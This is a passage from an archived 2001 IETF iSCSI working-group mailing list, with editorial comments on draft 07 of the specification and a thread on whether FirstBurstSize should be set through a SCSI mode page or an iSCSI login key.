-0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8Q0Aot07932 for ips-outgoing; Tue, 25 Sep 2001 20:10:50 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from redswitch.com (mail.redswitch.com [206.14.68.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8Q0AmP07926 for ; Tue, 25 Sep 2001 20:10:48 -0400 (EDT) Received: from [192.168.4.58] (account tdineen HELO redswitch.com) by redswitch.com (CommuniGate Pro SMTP 3.4.8) with ESMTP id 1950753; Tue, 25 Sep 2001 17:10:45 -0700 Message-ID: <3BB11DF7.9DF91ECC@redswitch.com> Date: Tue, 25 Sep 2001 17:14:47 -0700 From: Thomas Dineen Organization: RedSwitch Inc. X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu, Thomas Dineen Subject: iSCSI 07-95 Comment 5 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Gentle People: "3.7.2 Target Transfer Tag On outgoing data, the Target Transfer Tag is provided to the target if the transfer is honoring an R2T . In this case, the Target Transfer Tag field is a replica of the Target Transfer Tag provided with the R2T." Extra spaces between R2T and period: "if the transfer is honoring an R2T . In" Thomas Dineen From owner-ips@ece.cmu.edu Tue Sep 25 20:55:07 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA19581 for ; Tue, 25 Sep 2001 20:55:07 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PNsI707018 for ips-outgoing; Tue, 25 Sep 2001 19:54:18 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from redswitch.com (mail.redswitch.com [206.14.68.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PNsFP07012 for ; Tue, 25 Sep 2001 19:54:16 -0400 (EDT) Received: from [192.168.4.58] (account tdineen HELO redswitch.com) by redswitch.com (CommuniGate Pro SMTP 3.4.8) with ESMTP id 1950730; Tue, 25 Sep 2001 16:54:06 -0700 Message-ID: <3BB11A10.B4252BC2@redswitch.com> Date: Tue, 25 Sep 2001 16:58:08 -0700 From: Thomas Dineen Organization: RedSwitch Inc. X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu, Thomas Dineen Subject: iSCSI 07-95 Comment 3 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Gentle People: Section 3.1.5 on P64 "Task management commands must be executed as if all the commands having a CmdSN lower or equal to the task management CmdSN have been received by the target (i.e., have to be executed as if received for ordered delivery even when marked for immediate delivery)." After reading this paragraph over several times I am still having trouble understanding what it means. Do you mean execute the command immediately while ignoring the normal order or execute the command in the normal commandSN order? Thomas Dineen From owner-ips@ece.cmu.edu Tue Sep 25 20:55:35 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA19593 for ; Tue, 25 Sep 2001 20:55:35 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8Q007Z07330 for ips-outgoing; Tue, 25 Sep 2001 20:00:07 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from redswitch.com (mail.redswitch.com [206.14.68.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8Q004P07325 for ; Tue, 25 Sep 2001 20:00:05 -0400 (EDT) Received: from [192.168.4.58] (account tdineen HELO redswitch.com) by redswitch.com (CommuniGate Pro SMTP 3.4.8) with ESMTP id 1950735; Tue, 25 Sep 2001 17:00:02 -0700 Message-ID: <3BB11B74.C11A59A8@redswitch.com> Date: Tue, 25 Sep 2001 17:04:04 -0700 From: Thomas Dineen Organization: RedSwitch Inc. X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu, Thomas Dineen Subject: iSCSI 07-95 Comment 4 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Gentle People: "3.6.1 Referenced Task Tag Initiator Task Tag of the task not found used in conjunction with responses referring to a specific task. It MUST be set to 0xffffffff in other cases." I do not understand intent of this section and I suspect there is a typo in the area of the "the task not found used" Thomas Dineen From owner-ips@ece.cmu.edu Tue Sep 25 20:57:03 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA19614 for ; Tue, 25 Sep 2001 20:57:03 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PNlOj06605 for ips-outgoing; Tue, 25 Sep 2001 19:47:24 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PNlMP06601 for ; Tue, 25 Sep 2001 19:47:22 -0400 (EDT) Received: from colosus2.cup.hp.com (colosus2.cup.hp.com [15.13.128.145]) by atlrel2.hp.com (Postfix) with ESMTP id 206AB114D for ; Tue, 25 Sep 2001 19:47:21 -0400 (EDT) Received: from hp.com (IDENT:plabat@pl703521.cup.hp.com [15.13.133.216]) by colosus2.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id QAA05762; Tue, 25 Sep 2001 16:40:06 -0700 (PDT) Message-ID: <3BB115B1.EBD44197@hp.com> Date: Tue, 25 Sep 2001 16:39:29 -0700 From: Pierre Labat Organization: Hewlett Packard iSCSI-SISL X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu Subject: Re: iscsi : default iscsi mode page settings. References: Content-Type: multipart/alternative; boundary="------------36349C87BEEFF1AC96928022" Sender: owner-ips@ece.cmu.edu Precedence: bulk --------------36349C87BEEFF1AC96928022 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Julian, I think too, that having First burst size set via the Disconnect-Reconnect Page is wrong for iSCSI. Let's me explain why. 1) In the case the target during a mode select accept blindly a new value It is like each web browsers where starting to impose/tweak the internal buffer management on a web server without its authorization... It would be quickly a mess. 2) In the case the target doesn't allow to set the value No need to have it in the mode page 3) If the target negociates the value It is a very painfull process involving several commands Better to do it through the login key. 4) There is no deterministic behavior on the target depending on where the target attach the mode page. 5) About QOS, there are more dynamic/efficient ways to achieve it than juggling on the fly with the mode page setting. The First burst size in the Dis/Recon mode page was tailored for the early time of SCSI when their where one/a few initiator per target and when the target was so dumb that the initiator could/had to impose it what to use in order to have good performance. This doesn't apply anymore. I agree with the arguments of the other objectors too. Regards, Pierre Julian Satran wrote: > Sanjeev, > > We can set any of those parameters wherever you want as its clearly a > protocol prerogative. > The one thing that I am trying to avoid is having one parameter being > handled in two ways (It caused me more trouble that it was worth in the > past and required a lot of logic). > As such we have two consideration when selecting location: > > legacy > what layer is the most affected by it > > It looks to me that association of sink buffers at targets is mostly a SCSI > issue and it is dependent on the device type, the relative speed of the > transport and device, QOS requirements at device. Data is already in the > SCSI realm (not anymore individual PDUs but sequences that are governed by > SCSI needs and (including fairness rules between LUs attached to the same > bus). That is why we have those bursts - iSCSI does not need them - SCSI > may need them for multiplexing and buffer limitations of its own. As far > as iSCSI is concerned bursts are just trouble. But without them a pipe > with a limited window will serve one LU and even beyond it's real > capabilites. The multiplexing capability is needed by SCSI and is offered > in different ways on different transports. Some "buses" have a "built-in" > multiplexing capability. TCP does not and iSCSI adds it to it by the "burst > limitation". > > All this said and based on an earlier comment made by Bob Snively that this > could be a good criteria for splitting parameters between text and mode > pages - I think that the split we have now, even if not built according to > every developers wet dreams, is reasonable. > > Julo > > > "Sanjeev Bhagat > \(TRIPACE/Zoetermee To: "Santosh Rao" , John > r\)" Hufferd/San Jose/IBM@IBMUS > hagat.com> > Subject: Re: iscsi : default iscsi mode page > 25-09-01 01:58 settings. > Please respond to > "Sanjeev Bhagat > \(TRIPACE/Zoetermee > r\)" > > > > Julian, Santosh, > > Can we make all the SCSI mode page paramters be made as login keys? Why > should they be kept in a seperate mode page at all?? > > Sanjeev > ----- Original Message ----- > From: "John Hufferd" > To: "Santosh Rao" > Cc: "Julian Satran" ; > Sent: Monday, September 24, 2001 10:34 PM > Subject: Re: iscsi : default iscsi mode page settings. > > > > > In addition to what Santosh said, If I understand this right, > > I think it is a problem for iSCSI to have to keep going across layers to > > determine what the values are. Since iSCSI Target will not see the CDB > > that caused the values to change. > > > > Now if the value in the mode page is only the default, that would be a > > different issue. > > > > . > > . > > . > > John L. Hufferd > > Senior Technical Staff Member (STSM) > > IBM/SSG San Jose Ca > > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > > Home Office (408) 997-6136 > > Internet address: hufferd@us.ibm.com > > > > > > Santosh Rao @ece.cmu.edu on 09/24/2001 12:28:43 PM > > > > Sent by: owner-ips@ece.cmu.edu > > > > > > To: Julian Satran/Haifa/IBM@IBMIL > > cc: ips@ece.cmu.edu > > Subject: Re: iscsi : default iscsi mode page settings. > > > > > > > > Julian Satran wrote: > > > > > I can sympathize with you wanting to use most of the parameters in > iSCSI > > - > > > but the values are in fact restrictions that SCSI places on iSCSI. > > > > Julian, > > > > I'm confused by your response. > > > > The SPC-2 description of Disconnect-Reconnect mode page indicates that : > > "The parameters appropriate to each protocol and their interpretation for > > that protocol may > > be specified in the individual protocol documents". > > > > FYI, SPI[-4] has chosen not to attach any semantics to FirstBurstSize for > > the pSCSI > > transport. Thus, iscsi is within its rights to declare this field as > > reserved and attach no > > meaning to it in the mode page. The FirstBurstSize can be negotiated > during > > iscsi login > > through a login key. > > > > > > > Nevertheless the discussion is rather academic because SCSI can hand > > those > > > parameters to iSCSI. > > > > Again, I'm confused by your response. The reasons I'm suggesting the use > of > > a login key > > instead of the mode page method are : > > > > * More accurate scope (applies only to this I-T nexus). > > > > * More optimal negotiation and reduced overhead in the establishment > of > > the I-T nexus. (2 > > less SCSI commands per I-T nexus establishment.). > > > > * Enables faster I/O scan times due to lesser on-the-wire activity > > during I-T nexus > > establishment. > > > > * Allows less room for error in the I-T nexus establishment (no > > possiblity of failure to > > establish I-T nexus due to mode sense/select command failure). > > > > * Avoids mode select wars that can occur when target uses shared mode > > pages. > > > > * Simpler initiator implementations since they can avoid embedding > SCSI > > command set > > knowledge as well as code to build/parse SCSI commands. Also, they > can > > avoid extra code > > that is required to snoop for CHECK CONDITION with (sense key=UA, > ASC > > ="mode parameters > > changed") in order to re-issue a mode sense to determine new values > > for FirstBurstSize. > > > > * Less code to interact with SCSI ULP application client to > co-ordinate > > the mode page > > values b/n the ULP & LLP. > > > > * Can use un-solicited data from the very first scsi command in the > > session. > > > > I don't consider any of the above reasons to be academic and would like > to > > know which ones > > among the above do you believe are academic and why ? > > > > > > > SCSI can handle those parameters dynamically. iSCSI may have trouble > > > handling this type of negotiation dynamically over several connections. > > > > This is exactly the kind of stuff we don't need and should actually be > > trying to avoid. What > > good does dynamically changing FirstBurstSize serve ? Dynamically > changing > > FirstBurstSize > > would only be achieved with least side-effects if : > > 1) The mode select implementation on target is not using shared mode > pages. > > 2) The initiator has quiesced I/O prior to issuing the mode select for > the > > change. > > > > Neither of the above 2 conditions would typically apply and any dynamic > > change of > > FirstBurstSize would only cause initiators to see a bunch of side-effects > > such as : > > a) Active outbound I/Os aborted by the target with a CHECK CONDITION due > to > > "not enough > > un-solicited data". > > b) UA CHECK CONDITION for "mode parameters changed". > > > > In the interests of simplification and avoiding disruption of active I/O, > > such modifications > > must be avoided as far as possible. One way to achieve that is to use a > > login key and make > > it LO. > > > > > > > > > > Resource-wise (as Bob Snively has pointed out) those are SCSI issues. > > > > > > A nice way out would be to ask T10 for a text mode negotiaton :-) > > > > Once again, I'm perplexed by your response. I'm not saying that text mode > > negotiation is the > > reason I suggest moving this to a login key. The main objective is to > > isolate such > > negotiation within the iscsi layer in an iscsi specific PDU that is a > part > > of the iscsi > > login process. > > > > Hope you will consider all of the above factors. > > > > Thanks, > > Santosh > > > > ps : [I wonder if there are any others on this list who care to voice > their > > opinion on this > > issue. (??). ] > > > > > > > > > > > > --------------36349C87BEEFF1AC96928022 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Julian,

I think too, that having First burst size set via the
Disconnect-Reconnect Page is wrong for iSCSI.

Let's me explain why.

1) In the case the target during a mode select accept
blindly a new value

It is like each web browsers where starting to impose/tweak
the internal buffer management on a web server without
its authorization... It would be quickly a mess.

2) In the case the target doesn't allow to set the value

No need to have it in the mode page

3) If the target negociates the value
It is a very painfull process involving several commands
Better to do it through the login key.

4) There is no deterministic behavior on the target
depending on where the target attach the mode page.

5) About QOS, there are more dynamic/efficient ways
to achieve it than juggling on the fly
with the mode page setting.

The First burst size in the Dis/Recon mode page
was tailored for the early time of SCSI when their where
one/a few initiator per target and when the target was so dumb
that the initiator could/had to impose it what to use
in order to have good performance.

This doesn't apply anymore.

I agree with the arguments of the other objectors
too.

Regards,

Pierre
 

Julian Satran wrote:

Sanjeev,

We can set any of those parameters wherever you want as its clearly a
protocol prerogative.
The one thing that I am trying to avoid is having one parameter being
handled in two ways (It caused me more trouble that it was worth in the
past and required a lot of logic).
As such we have two consideration when selecting location:

   legacy
   what layer is the most affected by it

It looks to me that association of sink buffers at targets is mostly a SCSI
issue and it is dependent on the device type,  the relative speed of the
transport and device, QOS requirements at device.  Data is already in the
SCSI realm (not anymore individual PDUs but sequences that are governed by
SCSI needs and (including fairness rules between LUs attached to the same
bus). That is why we have those bursts - iSCSI does not need them - SCSI
may need them for multiplexing and buffer limitations of its own.   As far
as iSCSI is concerned bursts are just trouble.  But without them a pipe
with a limited window will serve one LU and even beyond it's real
capabilites.   The multiplexing capability is needed by SCSI and is offered
in different ways on different transports. Some "buses" have a "built-in"
multiplexing capability. TCP does not and iSCSI adds it to it by the "burst
limitation".

All this said and based on an earlier comment made by Bob Snively that this
could be a good criteria for splitting parameters between text and mode
pages - I think that the split we have now, even if not built according to
every developers wet dreams, is reasonable.

Julo
 

                    "Sanjeev Bhagat
                    \(TRIPACE/Zoetermee       To:     "Santosh Rao" <santoshr@cup.hp.com>, John
                    r\)"                       Hufferd/San Jose/IBM@IBMUS
                    <iscsi_t10@sanjeevb       cc:     Julian Satran/Haifa/IBM@IBMIL,
                    hagat.com>                 <ips@ece.cmu.edu>
                                              Subject:     Re: iscsi : default iscsi mode page
                    25-09-01 01:58             settings.
                    Please respond to
                    "Sanjeev Bhagat
                    \(TRIPACE/Zoetermee
                    r\)"
 
 

Julian, Santosh,

Can we make all the SCSI mode page paramters be made as login keys? Why
should they be kept in a seperate mode page at all??

Sanjeev
----- Original Message -----
From: "John Hufferd" <hufferd@us.ibm.com>
To: "Santosh Rao" <santoshr@cup.hp.com>
Cc: "Julian Satran" <Julian_Satran@il.ibm.com>; <ips@ece.cmu.edu>
Sent: Monday, September 24, 2001 10:34 PM
Subject: Re: iscsi : default iscsi mode page settings.

>
> In addition to what Santosh said,  If I understand this right,
> I think it is a problem for iSCSI to have to keep going across layers to
> determine what the values are.  Since iSCSI Target will not see the CDB
> that caused the values to change.
>
> Now if the value in the mode page is only the default, that would be a
> different issue.
>
> .
> .
> .
> John L. Hufferd
> Senior Technical Staff Member (STSM)
> IBM/SSG San Jose Ca
> Main Office (408) 256-0403, Tie: 276-0403,  eFax: (408) 904-4688
> Home Office (408) 997-6136
> Internet address: hufferd@us.ibm.com
>
>
> Santosh Rao <santoshr@cup.hp.com>@ece.cmu.edu on 09/24/2001 12:28:43 PM
>
> Sent by:  owner-ips@ece.cmu.edu
>
>
> To:   Julian Satran/Haifa/IBM@IBMIL
> cc:   ips@ece.cmu.edu
> Subject:  Re: iscsi : default iscsi mode page settings.
>
>
>
> Julian Satran wrote:
>
> > I can sympathize with you wanting to use most of the parameters in
iSCSI
> -
> > but the values are in fact restrictions that SCSI places on iSCSI.
>
> Julian,
>
> I'm confused by your response.
>
> The SPC-2 description of Disconnect-Reconnect mode page indicates that :
> "The parameters appropriate to each protocol and their interpretation for
> that protocol may
> be specified in the individual protocol documents".
>
> FYI, SPI[-4] has chosen not to attach any semantics to FirstBurstSize for
> the pSCSI
> transport. Thus, iscsi is within its rights to declare this field as
> reserved and attach no
> meaning to it in the mode page. The FirstBurstSize can be negotiated
during
> iscsi login
> through a login key.
>
>
> > Nevertheless the discussion is rather academic because SCSI can hand
> those
> > parameters to iSCSI.
>
> Again, I'm confused by your response. The reasons I'm suggesting the use
of
> a login key
> instead of the mode page method are :
>
>    * More accurate scope (applies only to this I-T nexus).
>
>    * More optimal negotiation and reduced overhead in the establishment
of
> the I-T nexus. (2
>      less SCSI commands per I-T nexus establishment.).
>
>    * Enables faster I/O scan times due to lesser on-the-wire activity
> during I-T nexus
>      establishment.
>
>    * Allows less room for error in the I-T nexus establishment (no
> possiblity of failure to
>      establish I-T nexus due to mode sense/select command failure).
>
>    * Avoids mode select wars that can occur when target uses shared mode
> pages.
>
>    * Simpler initiator implementations since they can avoid embedding
SCSI
> command set
>      knowledge as well as code to build/parse SCSI commands. Also, they
can
> avoid extra code
>      that is required to snoop for CHECK CONDITION with (sense key=UA,
ASC
> ="mode parameters
>      changed") in order to re-issue a mode sense to determine new values
> for FirstBurstSize.
>
>    * Less code to interact with SCSI ULP application client to
co-ordinate
> the mode page
>      values b/n the ULP & LLP.
>
>    * Can use un-solicited data from the very first scsi command in the
> session.
>
> I don't consider any of the above reasons to be academic and would like
to
> know which ones
> among the above do you believe are academic and why ?
>
>
> > SCSI can handle those parameters dynamically. iSCSI may have trouble
> > handling this type of negotiation dynamically over several connections.
>
> This is exactly the kind of stuff we don't need and should actually be
> trying to avoid. What
> good does dynamically changing FirstBurstSize serve ? Dynamically
changing
> FirstBurstSize
> would only be achieved with least side-effects if :
> 1) The mode select implementation on target is not using shared mode
pages.
> 2) The initiator has quiesced I/O prior to issuing the mode select for
the
> change.
>
> Neither of the above 2 conditions would typically apply and any dynamic
> change of
> FirstBurstSize would only cause initiators to see a bunch of side-effects
> such as :
> a) Active outbound I/Os aborted by the target with a CHECK CONDITION due
to
> "not enough
> un-solicited data".
> b) UA CHECK CONDITION for "mode parameters changed".
>
> In the interests of simplification and avoiding disruption of active I/O,
> such modifications
> must be avoided as far as possible. One way to achieve that is to use a
> login key and make
> it LO.
>
>
> >
> > Resource-wise (as Bob Snively has pointed out) those are SCSI issues.
> >
> > A nice way out would be to ask T10 for a text mode negotiaton :-)
>
> Once again, I'm perplexed by your response. I'm not saying that text mode
> negotiation is the
> reason I suggest moving this to a login key. The main objective is to
> isolate such
> negotiation within the iscsi layer in an iscsi specific PDU that is a
part
> of the iscsi
> login process.
>
> Hope you will consider all of the above factors.
>
> Thanks,
> Santosh
>
> ps : [I wonder if there are any others on this list who care to voice
their
> opinion on this
> issue. (??). ]
>
>
>
>
>
>

--------------36349C87BEEFF1AC96928022-- From owner-ips@ece.cmu.edu Tue Sep 25 20:57:30 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA19637 for ; Tue, 25 Sep 2001 20:57:30 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8Q0FE408193 for ips-outgoing; Tue, 25 Sep 2001 20:15:14 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from redswitch.com (mail.redswitch.com [206.14.68.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8Q0FBP08185 for ; Tue, 25 Sep 2001 20:15:12 -0400 (EDT) Received: from [192.168.4.58] (account tdineen HELO redswitch.com) by redswitch.com (CommuniGate Pro SMTP 3.4.8) with ESMTP id 1950757; Tue, 25 Sep 2001 17:15:13 -0700 Message-ID: <3BB11F03.CEE1435E@redswitch.com> Date: Tue, 25 Sep 2001 17:19:15 -0700 From: Thomas Dineen Organization: RedSwitch Inc. X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu, Thomas Dineen Subject: iSCSI 07-95 Comment 6 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Gentle People: "3.7.6 DataSegmentLength This is the data payload length of a SCSI Data-In or SCSI Data-Out PDU; sending of 0 length data segments should be avoided, but initiators and targets must be able to properly receive 0 length data segments." Please capitalize the MUST. Thomas Dineen From owner-ips@ece.cmu.edu Tue Sep 25 20:58:45 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA19664 for ; Tue, 25 Sep 2001 20:58:45 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8Q0JDJ08409 for ips-outgoing; Tue, 25 Sep 2001 20:19:13 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from redswitch.com (mail.redswitch.com [206.14.68.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8Q0JBP08402 for ; Tue, 25 Sep 2001 20:19:11 -0400 (EDT) Received: from [192.168.4.58] (account tdineen HELO redswitch.com) by redswitch.com (CommuniGate Pro SMTP 3.4.8) with ESMTP id 1950766; Tue, 25 Sep 2001 17:19:12 -0700 Message-ID: <3BB11FF2.C2759A58@redswitch.com> Date: Tue, 25 Sep 2001 17:23:14 -0700 From: Thomas Dineen Organization: RedSwitch Inc. X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu, Thomas Dineen Subject: iSCSI 07-95 Comment 1 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit GentlePeople: "3.2.1.1 X The X bit is used as a Retry/Restart indicator for request PDUs (PDUs from initiator to target). This bit is always 1 for response PDUs (PDUs from target to initiator)." "3.2.1.2 I The I bit is used as immediate delivery marker for request PDUs (PDUs from initiator to target). This bit is always 1 for response PDUs (PDUs from target to initiator)." - Reading the above paragraphs I do not get a sence of whether the X and I bits are active for a one or zero state. Please specify the logical function of both the X and I bits for both the one and zero states. Thomas Dineen From owner-ips@ece.cmu.edu Tue Sep 25 20:59:16 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA19676 for ; Tue, 25 Sep 2001 20:59:16 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8Q0Lvn08552 for ips-outgoing; Tue, 25 Sep 2001 20:21:57 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from redswitch.com (mail.redswitch.com [206.14.68.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8Q0LtP08547 for ; Tue, 25 Sep 2001 20:21:55 -0400 (EDT) Received: from [192.168.4.58] (account tdineen HELO redswitch.com) by redswitch.com (CommuniGate Pro SMTP 3.4.8) with ESMTP id 1950769; Tue, 25 Sep 2001 17:21:56 -0700 Message-ID: <3BB12096.11917F7C@redswitch.com> Date: Tue, 25 Sep 2001 17:25:58 -0700 From: Thomas Dineen Organization: RedSwitch Inc. X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu, Thomas Dineen Subject: iSCSI 07-95 Comment 10 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Gentle People: "Status can accompany the last Data-in PDU if the command did not end with an exception. Presence of status (and of a residual count) is signaled though the S flag bit. Although targets may choose to send even non-exception status in separate responses initiators MUST support non-exception status in Data-In PDUs." Please capitalize the "may". Thomas Dineen From owner-ips@ece.cmu.edu Tue Sep 25 21:14:27 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA19961 for ; Tue, 25 Sep 2001 21:14:27 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8Q0saq10354 for ips-outgoing; Tue, 25 Sep 2001 20:54:36 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from redswitch.com (mail.redswitch.com [206.14.68.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8Q0sYP10345 for ; Tue, 25 Sep 2001 20:54:34 -0400 (EDT) Received: from [192.168.4.58] (account tdineen HELO redswitch.com) by redswitch.com (CommuniGate Pro SMTP 3.4.8) with ESMTP id 1950796; Tue, 25 Sep 2001 17:54:35 -0700 Message-ID: <3BB1283D.5BC8D505@redswitch.com> Date: Tue, 25 Sep 2001 17:58:37 -0700 From: Thomas Dineen Organization: RedSwitch Inc. X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu, Thomas Dineen Subject: iSCSI 07-95 Comment 10 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Gentle People: 3.12.3 Version-max "Maximum Version number supported. All Login requests within the Login phase MUST carry the same Version-max. The target MUST use the value presented with the login request with C=0 and MAY [check] the value when C=1." What do you mean by check? What happens if the check succeeds? or fails? This comment is repeated for the following sections: 3.12.4 3.12.5 3.12.6 3.12.7 3.12.8 From owner-ips@ece.cmu.edu Tue Sep 25 21:25:17 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA20118 for ; Tue, 25 Sep 2001 21:25:15 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8Q0Yud09247 for ips-outgoing; Tue, 25 Sep 2001 20:34:56 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from redswitch.com (mail.redswitch.com [206.14.68.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8Q0YsP09242 for ; Tue, 25 Sep 2001 20:34:54 -0400 (EDT) Received: from [192.168.4.58] (account tdineen HELO redswitch.com) by redswitch.com (CommuniGate Pro SMTP 3.4.8) with ESMTP id 1950779; Tue, 25 Sep 2001 17:34:50 -0700 Message-ID: <3BB1239C.C3868F01@redswitch.com> Date: Tue, 25 Sep 2001 17:38:52 -0700 From: Thomas Dineen Organization: RedSwitch Inc. X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu, Thomas Dineen Subject: iSCSI 07-95 Comment 8 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit 3.7.7 Flags (byte 1) on Page 72 - 73: " bit 3-6 not used (should be set to 0) bit 1-2 as in an SCSI Response bit 0 S (status)- set to indicate that the Command Status field contains status. [If this bit is set to 1 the F bit MUST also be set to 1] The fields StatSN, Status, Residual Count have meaningful content only if the S bit is set to 1. [If the S bit is 1 the F bit MUST be 1.]" Bracketed text seems to be redundant. Thomas Dineen From owner-ips@ece.cmu.edu Tue Sep 25 21:36:15 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21209 for ; Tue, 25 Sep 2001 21:36:15 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8Q0vs410506 for ips-outgoing; Tue, 25 Sep 2001 20:57:54 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from redswitch.com (mail.redswitch.com [206.14.68.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8Q0vqP10501 for ; Tue, 25 Sep 2001 20:57:52 -0400 (EDT) Received: from [192.168.4.58] (account tdineen HELO redswitch.com) by redswitch.com (CommuniGate Pro SMTP 3.4.8) with ESMTP id 1950803; Tue, 25 Sep 2001 17:57:53 -0700 Message-ID: <3BB12903.64053A3F@redswitch.com> Date: Tue, 25 Sep 2001 18:01:55 -0700 From: Thomas Dineen Organization: RedSwitch Inc. X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu, Thomas Dineen Subject: iSCSI 07-95 Comment 11 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit 3.14 Logout Command on Page 95: "All commands 